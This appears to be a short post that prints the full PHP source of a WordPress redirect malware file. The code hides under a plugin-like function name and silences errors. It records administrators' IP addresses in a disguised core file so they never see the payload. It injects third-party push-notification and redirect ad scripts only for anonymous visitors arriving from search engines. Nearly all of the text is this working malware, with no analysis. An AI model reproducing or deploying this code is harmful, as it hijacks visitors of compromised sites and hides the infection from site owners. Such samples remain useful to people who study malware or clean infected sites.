Wordpress Redirect Malware File

ini_set('display_errors', 0);
error_reporting(0);
$anx='322f4f8d2d11134e9bedae0c97257b9d';

if ( ! function_exists( 'slider_option' ) ) {
function slider_option($content){
if(is_single())
{
$con = '';
$con2 = '
<script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=1459841"></script>
<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1459844&interactive=1&pushup=1"></script>
<script src="//defpush.com/ntfc.php?p=1568531" data-cfasync="false" async></script>
';
$content=$content.$con2;
}
return $content;
}

function slider_option_footer(){
if(!is_single())
{
$con2 = '
<script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=1459841"></script>
<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1459844&interactive=1&pushup=1"></script>
<script src="//defpush.com/ntfc.php?p=1568531" data-cfasync="false" async></script>
';
echo $con2;
}
}

function setting_my_first_cookie() {
  setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
}

if(is_user_logged_in())
{
add_action( 'init', 'setting_my_first_cookie',1 );
}

if( current_user_can('edit_others_pages'))
{
if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
{
$ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
}
if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
{
$ip.=$_SERVER['REMOTE_ADDR'].'
';
@file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
}
}

$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
	$sevisitor=true;
  }
}

if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in())
{
$adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
{
if($sevisitor==true || isset($_COOKIE['sevisitor']))
{
add_filter('the_content','slider_option');
add_action('wp_footer','slider_option_footer');
}
}
}
}